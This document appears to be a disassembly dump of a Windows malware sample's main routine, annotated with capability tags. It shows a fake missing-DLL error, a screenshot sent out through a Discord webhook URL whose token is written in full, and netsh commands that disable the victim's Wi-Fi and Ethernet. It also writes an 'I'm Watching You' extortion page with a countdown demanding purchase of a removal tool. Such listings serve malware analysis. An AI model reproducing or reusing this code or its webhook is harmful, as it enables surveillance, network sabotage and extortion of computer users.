Function at 0x401be6
Capabilities:
Create shortcut via ishelllink
Execute command
Get common file path

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push edi
push ecx
sub esp, 0x500
call sym.___main
mov dword [esp + 0xc], 0x10
mov dword [esp + 8], str.Error
mov dword [esp + 4], str.The_program_cannot_run_because_dllhost.exe_is_missing._Please_contact_the_vendor_of_the_program.
mov dword [esp], 0
call sym._MessageBoxA_16
sub esp, 0x10
mov dword [esp], str.screen.bmp
call sym._takeScreenshot
mov dword [esp + 4], str.https:__discord.com_api_webhooks_1218902599626002512_IvkzzPab3gCJUlHQN8tu50ygEvvyHt71YbvT8a9HQ3ZPSQTbUfRS_aZZ_2jMUAnAbWKg
mov dword [esp], str.screen.bmp
call sym._sendScreenshot
mov dword [ebp - 0xc], str.E:ProgramiChinese.Malware_bg.png
mov dword [esp + 0xc], 2
mov eax, dword [ebp - 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x14
call sym._SystemParametersInfoA_16
sub esp, 0x10
mov dword [esp + 8], 0x20000
mov dword [esp + 4], 0
mov dword [esp], str.chinese.wav
call sym._PlaySoundA_12
sub esp, 0xc
mov dword [esp], str.netsh_interface_set_interface__Wi_Fi__admindisable
call sym._system
mov dword [esp], str.netsh_interface_set_interface__Ethernet__admindisable
call sym._system
mov dword [ebp - 0x10], str.E:ProgramiChinese.Malwareinfo2.vbs
lea eax, [ebp - 0x228]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x10
mov dword [esp], 0
call sym._SHGetFolderPathW_20
sub esp, 0x14
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x430]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x10
mov dword [esp], 0
call sym._SHGetFolderPathW_20
sub esp, 0x14
mov dword [ebp - 0x14], eax
mov dword [esp + 0x10], 0x410a40
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x10
mov dword [esp], 0
call sym._SHGetFolderPathW_20
sub esp, 0x14
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
js 0x4021eb
mov dword [esp + 4], str.README.txt
lea eax, [ebp - 0x430]
mov dword [esp], eax
call sym._wcscat
mov dword [esp + 4], 0x40c348
lea eax, [ebp - 0x430]
mov dword [esp], eax
call sym.__wfopen
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x401db7
mov dword [esp + 4], 0x40c34c
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sym._fwprintf
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sym._fclose
mov dword [esp], str.File_created_successfully._n
call sym._wprintf
jmp 0x401dc3
mov dword [esp], str.Failed_to_create_file._n
call sym._wprintf
mov dword [esp + 4], 0x40c4b0
mov dword [esp], 0x410a40
call sym._wcscat
mov dword [esp + 4], 0x40c348
mov dword [esp], str.IWY.html
call sym.__wfopen
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
je 0x402063
mov dword [esp + 4], str.__DOCTYPE_html__n
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._fwprintf
mov dword [esp + 4], str._html_lang_en___n
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._fwprintf
mov dword [esp + 4], str._head__n
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._fwprintf
mov dword [esp + 4], str._____meta_charset_UTF_8___n
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._fwprintf
mov dword [esp + 4], str._____meta_name_viewport__content_widthdevice_width__initial_scale1.0___n
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._fwprintf
mov dword [esp + 4], str._____title_IWY__title__n
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._fwprintf
mov dword [esp + 4], str.__head__n
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._fwprintf
mov dword [esp + 4], str._body_style_background:_black___n
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._fwprintf
mov dword [esp + 4], str._____h1_style_color:C1282E__Im_Watching_You...__h1__n
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._fwprintf
mov dword [esp + 4], str._____h3_style_color:C1282E__If_you_see_this_page__a_dangerous_trojan_is_currently_running_on_your_computer._br_You_cant_close_it__and_its_constantly_watching_you._br_Dont_waste_your_time_trying_to_close_it__it_will_always_reopen_and_be_on_the_watch_for_your_passwords_and_emails._br__br_In_order_to_remove_it__please_purchase_our_removal_tool._br___IWY_br___h3__n
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._fwprintf
mov dword [esp + 4], str._____h2_id_timer__style_color:C1282E____h2__n
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._fwprintf
mov dword [esp + 4], str._____script__n
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._fwprintf
mov dword [esp + 4], str.________let_seconds__59__n
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._fwprintf
mov dword [esp + 4], str.________let_minutes__59__n
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._fwprintf
mov dword [esp + 4], str.________function_updateTimer____n
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._fwprintf
mov dword [esp + 4], str.____________if__seconds__0__minutes__0___n
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._fwprintf
mov dword [esp + 4], str.________________clearInterval_timerInterval___n
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._fwprintf
mov dword [esp + 4], str.________________return__n
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._fwprintf
mov dword [esp + 4], str._____________n
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._fwprintf
mov dword [esp + 4], str.____________if__seconds__0___n
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._fwprintf
mov dword [esp + 4], str.________________minutes____n
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._fwprintf
mov dword [esp + 4], str.________________seconds__59__n
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._fwprintf
mov dword [esp + 4], str._____________else__n
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._fwprintf
mov dword [esp + 4], str.________________seconds____n
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._fwprintf
mov dword [esp + 4], str._____________n
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._fwprintf
mov dword [esp + 4], str.____________document.getElementById_timer_.innerText___Time_left:__minutes:_seconds___10___0_:__seconds___n
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._fwprintf
mov dword [esp + 4], str._________n
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._fwprintf
mov dword [esp + 4], str.________updateTimer____n
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._fwprintf
mov dword [esp + 4], str.________const_timerInterval__setInterval_updateTimer__1000___n
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._fwprintf
mov dword [esp + 4], str.______script__n
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._fwprintf
mov dword [esp + 4], str.__body__n
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._fwprintf
mov dword [esp + 4], str.__html__n
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._fwprintf
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._fclose
mov dword [esp + 4], str.INFO.lnk
lea eax, [ebp - 0x228]
mov dword [esp], eax
call sym._wcscat
mov dword [esp], 0
call sym._CoInitialize_4
sub esp, 4
mov dword [ebp - 0x4d0], 0
lea eax, [ebp - 0x4d0]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0x40d3b0
mov dword [esp + 8], 1
mov dword [esp + 4], 0
mov dword [esp], 0x40d580
call sym._CoCreateInstance_20
sub esp, 0x14
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
js 0x4021d8
mov eax, dword [ebp - 0x4d0]
mov eax, dword [eax]
mov ecx, dword [eax + 0x50]
mov eax, dword [ebp - 0x4d0]
mov edx, dword [ebp - 0x10]
mov dword [esp + 4], edx
mov dword [esp], eax
call ecx
sub esp, 8
mov eax, dword [ebp - 0x4d0]
mov eax, dword [eax]
mov edx, dword [eax + 0x44]
mov eax, dword [ebp - 0x4d0]
mov dword [esp + 8], 0
mov dword [esp + 4], str.E:ProgramiChinese.Malwareeye.ico
mov dword [esp], eax
call edx
sub esp, 0xc
mov dword [ebp - 0x4d4], 0
mov eax, dword [ebp - 0x4d0]
mov eax, dword [eax]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x4d0]
lea edx, [ebp - 0x4d4]
mov dword [esp + 8], edx
mov dword [esp + 4], 0x40d770
mov dword [esp], eax
call ecx
sub esp, 0xc
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
js 0x4021b1
mov eax, dword [ebp - 0x4d4]
mov eax, dword [eax]
mov ecx, dword [eax + 0x18]
mov eax, dword [ebp - 0x4d4]
mov dword [esp + 8], 1
lea edx, [ebp - 0x228]
mov dword [esp + 4], edx
mov dword [esp], eax
call ecx
sub esp, 0xc
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jns 0x402196
mov dword [esp], str.Failed_to_save_shortcut.
call sym._puts
mov eax, dword [ebp - 0x4d4]
mov eax, dword [eax]
mov edx, dword [eax + 8]
mov eax, dword [ebp - 0x4d4]
mov dword [esp], eax
call edx
sub esp, 4
jmp 0x4021bd
mov dword [esp], str.Failed_to_get_IPersistFile_interface.
call sym._puts
mov eax, dword [ebp - 0x4d0]
mov eax, dword [eax]
mov edx, dword [eax + 8]
mov eax, dword [ebp - 0x4d0]
mov dword [esp], eax
call edx
sub esp, 4
jmp 0x4021e4
mov dword [esp], str.Failed_to_create_ShellLink_object.
call sym._puts
call sym._CoUninitialize_0
jmp 0x4021f7
mov dword [esp], str.Failed_to_get_desktop_path.
call sym._puts
lea edx, [ebp - 0x458]
mov eax, 0
mov ecx, 0xa
mov edi, edx
rep stosd dword es:[edi], eax
mov dword [ebp - 0x454], sym._WindowProc_16
mov dword [esp], 0
call sym._GetModuleHandleA_4
sub esp, 4
mov dword [ebp - 0x448], eax
mov dword [ebp - 0x434], str.TrayWindowClass
mov dword [ebp - 0x458], 8
lea eax, [ebp - 0x458]
mov dword [esp], eax
call sym._RegisterClassA_4
sub esp, 4
mov eax, dword [ebp - 0x434]
mov dword [esp + 0x2c], 0
mov dword [esp + 0x28], 0
mov dword [esp + 0x24], 0
mov dword [esp + 0x20], 0xfffffffd
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._CreateWindowExA_48
sub esp, 0x30
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x448]
mov dword [esp + 4], 0
mov dword [esp], eax
call sym._LoadEmbeddedIcon
mov dword [0x410020], eax
lea edx, [ebp - 0x4b0]
mov eax, 0
mov ecx, 0x16
mov edi, edx
rep stosd dword es:[edi], eax
mov dword [ebp - 0x4b0], 0x58
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x4ac], eax
mov dword [ebp - 0x4a8], 1
mov dword [ebp - 0x4a4], 7
mov dword [ebp - 0x4a0], 0x401
mov eax, dword [0x410020]
mov dword [ebp - 0x49c], eax
lea eax, [ebp - 0x4b0]
add eax, 0x18
mov dword [eax], 0x206d2749
mov dword [eax + 4], 0x63746177
mov dword [eax + 8], 0x676e6968
mov dword [eax + 0xc], 0x756f7920
mov dword [eax + 0x10], 0x2e2e2e
lea eax, [ebp - 0x4b0]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._Shell_NotifyIconA_8
sub esp, 8
mov dword [esp + 0xc], sym._TimerProc_16
mov dword [esp + 8], 0x3e8
mov dword [esp + 4], 0x3ea
mov dword [esp], 0
call sym._SetTimer_16
sub esp, 0x10
jmp 0x4023b5
lea eax, [ebp - 0x4cc]
mov dword [esp], eax
call sym._TranslateMessage_4
sub esp, 4
lea eax, [ebp - 0x4cc]
mov dword [esp], eax
call sym._DispatchMessageA_4
sub esp, 4
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
lea eax, [ebp - 0x4cc]
mov dword [esp], eax
call sym._GetMessageA_16
sub esp, 0x10
test eax, eax
jne 0x402393
lea eax, [ebp - 0x4b0]
mov dword [esp + 4], eax
mov dword [esp], 2
call sym._Shell_NotifyIconA_8
sub esp, 8
mov eax, dword [ebp - 0x49c]
mov dword [esp], eax
call sym._DestroyIcon_4
sub esp, 4
mov eax, 0
lea esp, [ebp - 8]
pop ecx
pop edi
pop ebp
lea esp, [ecx - 4]
ret